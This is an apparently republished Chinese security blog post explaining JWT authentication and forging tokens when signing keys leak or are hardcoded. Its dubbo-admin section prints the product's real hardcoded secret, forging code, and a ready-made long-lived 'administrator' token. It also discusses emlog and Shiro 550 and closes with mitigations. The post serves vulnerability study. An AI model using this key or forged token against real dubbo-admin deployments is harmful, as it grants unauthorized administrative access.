JSON Web Token 默認密鑰 身份驗證安全性分析 dubbo-admin JWT硬編碼身份驗證繞過

引言

在web開發中,對于用戶認證的問題,有很多的解決方案。其中傳統的認證方式:基于session的用戶身份驗證便是可采用的一種。

基于session的用戶身份驗證驗證過程:?用戶在用進行驗證之后,服務器保存用戶信息返回sessionid,客戶端攜帶sessionid可向服務器確認自己的身份。?這種認證方式也有著諸多缺點: 用戶憑證數據存儲在服務端,隨著用戶的增多,服務端壓力增大;在分布式架構下用戶憑證需要在服務器與服務器之間交換進行session的同步,否則只能用戶挨個對服務器進行認證,這給服務器或者用戶帶來不便,可擴展性不強。

而基于JSON Web Token 的認證方式則完全可以解決這一問題,它利用了加密技術對用戶的信息做簽名認證,這使得服務端只需采用相同的算法密鑰對,無需進行用戶憑證信息的交換就可以完成用戶的認證。

基于JSON Web Token 的用戶身份驗證驗證過程:?采用json數據的格式分三個部分進行base64編碼,header:聲明所使用的算法,payload:存放用戶關鍵信息 signatue:對header與payload進行算法簽名, 將這三個部分base64編碼用用逗號作為分隔,作為單獨的header頭返回給用戶。?那么當用戶需攜帶著jwt token向后端驗證自己的身份時,如果通過了簽名認證算法,就可以引用用戶的關鍵信息來證明的用戶的相應身份。

JWTtoken應用示例
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.exceptions.JWTDecodeException;
import com.auth0.jwt.exceptions.JWTVerificationException;
import com.auth0.jwt.interfaces.DecodedJWT;
import jdk.internal.dynalink.beans.StaticClass;
?
import java.util.Date;
public class JwtTokenGenerator {static String secretKey = "secretKey123";//密鑰static String issuer = "cn";public static String generateToken(String userId, String username) {Date now = new Date();Date expiryDate = new Date(now.getTime() + 3600000); // 設置過期時間為1個小時后Algorithm algorithm = Algorithm.HMAC256(secretKey);//設置算法及密鑰String token = JWT.create().withIssuer(issuer)//發布人.withClaim("userId", userId)//數據 "usrid:xxxxx".withClaim("username",username).withIssuedAt(now)//發布時間.withExpiresAt(expiryDate)//到期時間.sign(algorithm);//return token;}
?
?public static void main(String[] args) {String token = generateToken("2233","admin");System.out.println("生成JWTtoken:"+token);
?// 驗證Tokenboolean isValid = verifyToken(token);System.out.println("Token is valid: " + isValid);
?// 解析Token獲取數據UserInfo userInfo  = getUserInfoFromToken(token);
?if (userInfo != null) {System.out.println("User ID: " + userInfo.getUserId());System.out.println("Username: " + userInfo.getUsername());} else {System.out.println("Invalid token or decoding error.");}
?}// 驗證Tokenpublic static boolean verifyToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).withIssuer(issuer).build(); // Reusable verifier instanceDecodedJWT jwt = verifier.verify(token);// 驗證通過return true;} catch (JWTVerificationException exception) {// 驗證失敗return false;}}
?// 解析Token獲取其中的數據public static UserInfo getUserInfoFromToken(String token) {try {Algorithm algorithm = Algorithm.HMAC256(secretKey);JWTVerifier verifier = JWT.require(algorithm).build();DecodedJWT jwt = verifier.verify(token);
?String userId = jwt.getClaim("userId").asString();String username = jwt.getClaim("username").asString();
?return new UserInfo(userId, username); // Assuming UserInfo class holds userId and username} catch (JWTDecodeException | IllegalArgumentException exception) {// Invalid token or decoding exceptionreturn null;}}
}

運行結果

生成JWTtoken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMjIzMyIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJhZG1pbiJ9.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg?Token is valid: true?User ID: 2233?Username: admin

這是base64的解碼

{"typ":"JWT","alg":"HS256"}.{"iss":"cn","exp":1721823782,"userId":"2233","iat":1721820182,"username":"admin"}.>òé?\U-,N)?è?à? [o?jn2—T|£Fr?

內部邏輯調試

調試一下 看一下邏輯

JWTCreator內部靜態類Builder#sign方法 向payloadClaims放入用戶信息等其他信息(本次測試放入的是username與userid)

JWTCreator內部靜態類Builder#sign方法 向headerClaims放入 alg與typ ,聲明算法類型

JWT的構造方法

JWTCreator 生成相應headerClaims與payloadClaims的headerJson與payloadJson

private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {this.algorithm = algorithm;
?try {this.headerJson = mapper.writeValueAsString(headerClaims);this.payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));} catch (JsonProcessingException var5) {JsonProcessingException e = var5;throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);}
}

?簽名方法 algorithm會對headerJson和payloadJson進行簽名,最后三個部分都返回base64編碼字符串

private String sign() throws SignatureGenerationException {String header = Base64.getUrlEncoder().withoutPadding().encodeToString(this.headerJson.getBytes(StandardCharsets.UTF_8));String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(this.payloadJson.getBytes(StandardCharsets.UTF_8));byte[] signatureBytes = this.algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(signatureBytes);return String.format("%s.%s.%s", header, payload, signature);
}

最終是完成JWTtoken的生成返回給用戶

?

思考這個機制存在的問題 !
1.修改payloadJson信息偽造token

偽造用戶 3344 root 生成base64編碼

偽造用戶token

ForgeryToken:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMTgyMzc4MiwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTgyMDE4MiwidXNlcm5hbWUiOiJyb290In0=.PvLJgRpcVa0sTimuyIHA6yBbuu9qFW4YspdUfKNGctg

經過測試在進行verify簽名認證時,偽造的token會拋出異常。當然也有那種不做verify簽名直接取用戶的信息就能教你挖src的文章,這種就屬于后端完全沒有校驗簽名。

2.修改headerJson信息偽造token

看過一些文章尤其是一些ctf的題,有講解修改headerJson可能會改變簽名算法,比如改成公私鑰算法,將公鑰放到headerJson,那么自己用私鑰做的簽名公鑰自然而然可以進行解鑰認證,有些ctf題甚至在headerJson把密鑰信息泄露出來。從技術上來說這些的確可以實現,jwt 的headerJson 也是為了不用集群多用戶的各種需求設計了很多功能字段,它們在正確的使用下是可以做到完全安全的。???本示例中Algorithm對象的生成是固定的,沒有因前端傳來的值而相應做出改變,沒有對headerJson進行進一步判斷處理。所以本示例中你想拿headerJson去做一些文章是沒有結果的。

這點可以參考JWT認證攻擊詳解總結 - 滲透測試中心 - 博客園

3.密鑰泄露或者系統默認密鑰

?

假如我們的密鑰泄露了,那我們就可以正常的程序生成正常的jwt token 完成verify簽名

下面是我們在得知secretKey的情況下偽造用戶 3344 root

生成程序

    public static String generateForgeryToken() {Date now = new Date();Date expiryDate = new Date(now.getTime() + 999999999); // 設置過期時間為無限期Algorithm algorithm = Algorithm.HMAC256("secretKey123");//密鑰泄露String ForgeryToken = JWT.create().withIssuer(issuer)//發布人.withClaim("userId", "3344")//數據 偽造.withClaim("username","root")//數據 偽造.withIssuedAt(now)//發布時間.withExpiresAt(expiryDate)//.sign(algorithm);//return ForgeryToken;}

生成偽造token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJjbiIsImV4cCI6MTcyMjkwODQ3NSwidXNlcklkIjoiMzM0NCIsImlhdCI6MTcyMTkwODQ3NSwidXNlcm5hbWUiOiJyb290In0.Ur3gXKTKV9wYnHnegHdGMxAVPLwFxcRHx_vO9EmrR7Q

用程序驗證

成功偽造了用戶 334 root 這樣程序就會執行后面的操作,達到未授權訪問的效果

實戰dubbo-admin JWT硬編碼身份驗證繞過

?

硬編碼

用戶登錄邏輯

org/apache/dubbo/admin/controller/UserController.java#login()

??跟入generateToken

這里我們重點關注前面所使用的secret,找到它使用的密鑰

?

?

?我們可以在本地測試一下生成token的函數 與驗證token的函數

偽造用戶administrator 將過期時間調到幾百年之后。

?

測試代碼

@Test
public void ForgeryTokentest() {Map<String, Object> claims = new HashMap<>(1);claims.put("sub", "administrator");String ForgeryToken = Jwts.builder().setClaims(claims).setExpiration(new Date(System.currentTimeMillis() + 9999999999999999l)).setIssuedAt(new Date(System.currentTimeMillis())).signWith(defaultAlgorithm, "86295dd0c4ef69a1036b0b0c15158d77").compact();System.out.println(ForgeryToken);

生成的偽造token

eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw
驗證用戶token邏輯

web接口進入攔截器

?進入authentication認證方法

authentication取出header頭中Authorization的值將它傳入工具jwtTokenUtil類的canTokenBeExpirarion方法

?

canTokenBeExpirarion使用了jwt的機制對用戶token進行了驗證。?根據代碼邏輯,我們只需用canTokenBeExpiration方法用驗證的我們偽造的token即可證明漏洞。

且通過調試,證明這個token時間是非常的長?

?

測試代碼

 ? ?String secret = "86295dd0c4ef69a1036b0b0c15158d77";@Testpublic void verifyTokentest() {
/* ? ? ?  JwtTokenUtil jwtTokenUtil = SpringBeanUtils.getBean(JwtTokenUtil.class);Boolean isValid = jwtTokenUtil.canTokenBeExpiration("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE3MjE5MTA4MzIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJpYXQiOjE3MjE5MDk4MzJ9.qO__fIG1aFImGpZ4qajUuG8w9kcH6l6FgbDsDAEC-9ftLePDsREWJzodMcKpn7sgbqdDhIQ5MxuTSw40q34McA");System.out.println("Token is valid: " + isValid);*/Claims claims;try {claims = Jwts.parser().setSigningKey(secret).parseClaimsJws("eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjEwMDAxNzIxOTkzMTQwLCJzdWIiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzIxOTkzMTQwfQ.UsUNLgmLq9wRbcPR_ERM7X-Bw6q3P6MrMBR6QilZLhbDHC59BTw3FBCWzORjUt_tuAWPevxmG2YH8JtPe6EGUw").getBody();final Date exp = claims.getExpiration();if (exp.before(new Date(System.currentTimeMillis()))) {
?System.out.println("token驗證過期");}System.out.println("token驗證成功");} catch (Exception e) {System.out.println("token驗證發生異常");e.printStackTrace();
擴展 emlog pro 版本 2.3.4 存在會話(AuthCookie)持久性和任何用戶登錄漏洞

這個系統中setAuthCookie的代碼邏輯如下

這段邏輯與jwt生成token的原理非常類似

使用$user_login 和 $expiration 作為生成key, 之后在將key 與 $user_login 和 $expiration 作為種子生成用與簽名的hash

同樣的問題是如果AUTH_KEY 是默認的或者泄露了,那么它就會造成jwt一樣的問題。

在知道密鑰的情況下,我們只需用的同樣的代碼流程,改變用戶信息,改變過期時間即可有一個合法的且永不過期的用戶token

參考:

https://github.com/ssteveez/emlog/blob/main/emlog%20pro%20version%202.3.4%20has%20session(AuthCookie)%20persistence%20and%20any%20user%20login%20vulnerability.md?

擴展 Shiro 550 硬編碼問題

Shiro 550本質上就是硬編碼的問題。Shiro 密鑰在出廠的時候寫死在了代碼中,這也就導致了系統變相的密鑰泄露,而又因為shiro驗證用戶cookie的機制有了反序列化的這一動作。這就使得反序列化漏洞在這一場景中有了用武之地。討論Shiro 不出網,繞過等問題,本質上就是討論Shiro 可以進行哪些反序列化操作的問題。

參考JAVA安全之Shrio550-721漏洞原理及復現_shiro550和shiro721的區別-CSDN博客

總結

雖然JWT密鑰面臨著可能被泄露的問題,但這并不代表著它不足夠安全。除了使用隨機密鑰的方式啟動服務外,我們還可以結合傳統的方法來進行改造,那就是采用redis緩存技術,將用戶的token值作為value在redis存儲備份,再將相應的key傳回給用戶,用戶只需傳遞key值就能進行認證,各個服務器也都能夠取出來對應key的value值,去驗證用戶token是否合法,這樣也避免了密鑰泄露的問題!

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/79694.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/79694.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/79694.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

STM32GPIO輸出實戰-LED模板

STM32GPIO輸出實戰-LED模板 一&#xff0c;LED控制原理1&#xff0c;LED控制時GPIO的配置2&#xff0c;LED連接方式3&#xff0c;使用HAL庫控制LED的常用函數&#xff1a; 二&#xff0c;任意控制LED模板1&#xff0c;Led底層2&#xff0c;代碼詳細解析 三&#xff0c;實用技巧…

第二十七屆華東杯數學建模A 題 跳臺滑雪問題 完整思路模型及代碼

題目背景 跳臺滑雪起源于 19 世紀&#xff0c;是冬季運動會的傳統競技項目。今年亞洲冬季運動會在我國 哈爾濱舉行&#xff0c;跳臺滑雪項目吸引了包括中國在內的亞洲各國運動健兒踴躍參加&#xff0c;我國運動員取得了優異的成績。 跳臺滑雪融合了速度、力量與精確控制&…

Python之學習筆記(六)

文章目錄 1. 字典&#xff08;Dictionary&#xff09;2. 集合&#xff08;Set&#xff09;3. 字典 vs 集合4. 應用場景5. 注意事項 Python中的字典&#xff08; dict&#xff09;和集合&#xff08; set&#xff09;是兩種高效且常用的數據結構&#xff0c;適用于不同的場景。…

緩存與數據庫的高效讀寫流程解析

目錄 前言1 讀取數據的流程1.1 檢查緩存是否命中1.2 從數據庫讀取數據1.3 更新緩存1.4 返回數據 2 寫入數據的流程2.1 更新數據庫2.2 更新或刪除緩存2.3 緩存失效 3 緩存與數據庫的一致性問題3.1 寫穿&#xff08;Write-through&#xff09;策略3.2 寫回&#xff08;Write-back…

PowerShell 備份 Windows10/11 還原計算機驅動程序SOP

一、現在計算機C目錄下創建一個新的文件夾名稱為 driverbackup 二、打開cmd 以管理員身份執行 dism /online /export-driver /destination: C:\driverbackup 在正常情況下&#xff0c;Windows 10會自動檢測您的設備所需的驅動程序&#xff0c;并將其安裝到您的PC上。 但是&am…

自監督學習(Self-supervised Learning)李宏毅

目錄 Self-supervised Learning簡介&#xff1a; BERT : How to use BERT case1&#xff1a;sequence to class 語言積極性OR消極性判斷 case2&#xff1a;sequence to sequence句子中的詞語詞性標注 case3&#xff1a;sequence2 to class兩個句子是不是一個為前提一個為…

Python基于Django的全國二手房可視化分析系統【附源碼】

博主介紹&#xff1a;?Java老徐、7年大廠程序員經歷。全網粉絲12w、csdn博客專家、掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域和畢業項目實戰? &#x1f345;文末獲取源碼聯系&#x1f345; &#x1f447;&#x1f3fb; 精彩專欄推薦訂閱&#x1f447;&…

解決 3D Gaussian Splatting 中 SIBR 可視化組件報錯 uv_mesh.vert 缺失問題【2025最新版!】

一、&#x1f4cc; 引言 在使用 3D Gaussian Splatting&#xff08;3DGS&#xff09;進行三維重建和可視化的過程&#xff0c;SIBR_gaussianViewer_app 是一款官方推薦的本地可視化工具&#xff0c;允許我們在 GPU 上實時瀏覽重建結果。然而&#xff0c;許多用戶在啟動該工具時…

shell_plus

python manage.py shell_plus 是由 django-extensions 提供的一個增強版的 Django shell&#xff0c;它自動導入你的所有模型和其他一些便捷功能&#xff0c;使得交互式開發更加方便。 如果你遇到配置或運行問題&#xff0c;特別是與 RQ_SHOW_ADMIN_LINK 相關的 ImproperlyCon…

文章記單詞 | 第62篇(六級)

一&#xff0c;單詞釋義 noon [nu?n] n. 中午&#xff0c;正午clothes [kl??z] n. 衣服&#xff0c;衣物reward [r??w??d] n. 報酬&#xff0c;獎賞&#xff1b;vt. 獎勵&#xff0c;獎賞newly [?nju?li] adv. 最近&#xff0c;新近&#xff1b;以新的方式premier [?…

Linux watch 命令使用詳解

簡介 watch 命令會以固定間隔&#xff08;默認每 2 秒&#xff09;重復運行給定命令&#xff0c;并在終端上顯示其輸出。它非常適合監控不斷變化的輸出&#xff0c;例如磁盤使用情況、內存使用情況、文件更改、服務狀態等。 基礎語法 watch [options] command常用選項 -n, -…

C++類_成員函數指針

在 C11 里&#xff0c;成員函數指針是一種特殊的指針&#xff0c;它指向類的成員函數。下面詳細介紹成員函數指針的定義、使用及注意事項。 定義 成員函數指針的定義格式如下&#xff1a; 返回類型 (類名::*指針名)(參數列表);例如&#xff1a; class MyClass { public:voi…

qmt下載的數據放在了哪里了?

#qmt獲取日線數據 from xtquant import xtdata # 設置股票代碼列表和時間范圍 stock_list xtdata.get_stock_list_in_sector(滬深A股) # print("獲取到的股票列表&#xff1a;", stock_list,len(stock_list)) start_time 20240501 end_time 20250501# 下載多只股票…

深入淺出數據庫管理系統

數據庫管理系統&#xff1a;數字世界的“隱形管家” ——從數據雜亂到井井有條的秘密武器 一、數據庫管理系統&#xff1a;數字世界的“隱形管家” 你有沒有想過&#xff0c;為什么我們在電商平臺購物時&#xff0c;商品庫存能實時更新&#xff1f;為什么銀行轉賬時&#xff…

關于Docker拉取鏡像超時/無法訪問鏡像倉庫解決方案

文章目錄 關于Docker拉取鏡像超時/無法訪問鏡像倉庫解決方案卸載原先安裝的Docker及相關配置使用代理后無法拉取鏡像解決方案驗證代理連通性安裝 Docker 最新版配置 Docker Daemon HTTP 代理重啟驗證與拉取鏡像 不使用代理解決方案安裝 Docker 最新版配置阿里云容器鏡像加速 關…

Docker Compose:服務編排:批量管理多個容器

通過docker compose進行容器批量管理&#xff1a;一次性啟動四個容器&#xff08;nginx&#xff0c;tomcat&#xff0c;redis&#xff0c;mysql&#xff09; &#xff08;1&#xff09; 創建docker-compose目錄 mkdir ~/docker-compose cd ~/docker-compose &#xff08;2&…

Java面試大綱(以及常見面試問答)

&#x1f91f;致敬讀者 &#x1f7e9;感謝閱讀&#x1f7e6;笑口常開&#x1f7ea;生日快樂?早點睡覺 &#x1f4d8;博主相關 &#x1f7e7;博主信息&#x1f7e8;博客首頁&#x1f7eb;專欄推薦&#x1f7e5;活動信息 文章目錄 Java面試大綱&#xff08;以及常見面試問答&…

2025年- H25-Lc133- 104. 二叉樹的最大深度(樹)---java版

1.題目描述 2.思路 返回左右子樹中&#xff0c;最高高度的子樹,高度從0開始計數。 3.代碼實現 class TreeNode {int val;TreeNode left;TreeNode right;TreeNode() {}TreeNode(int val) { this.val val; }TreeNode(int val, TreeNode left, TreeNode right) {this.val val;…

個性化推薦:大數據引領電子商務精準營銷新時代

個性化推薦:大數據引領電子商務精準營銷新時代 引言 在電子商務的時代,個性化推薦系統已經成為提升用戶體驗、增強平臺競爭力的重要技術。隨著大數據技術的迅猛發展,傳統的推薦方法已經無法滿足用戶日益增長的需求。為了精準地把握用戶興趣和消費傾向,商家們依賴大數據分析…

VulnHub-OSCP靶機

前言&#xff1a;由于這臺機器過于簡單&#xff0c;所以我會盡量細化和介紹每個步驟以及涉及到的知識點&#xff0c;讓正在打入門機器的你不在迷茫和硬化的操作&#xff0c;理解并熟悉每條命令以及參數的含義&#xff0c;以及把前期帶給我們的信息進行快速篩選&#xff0c;有利…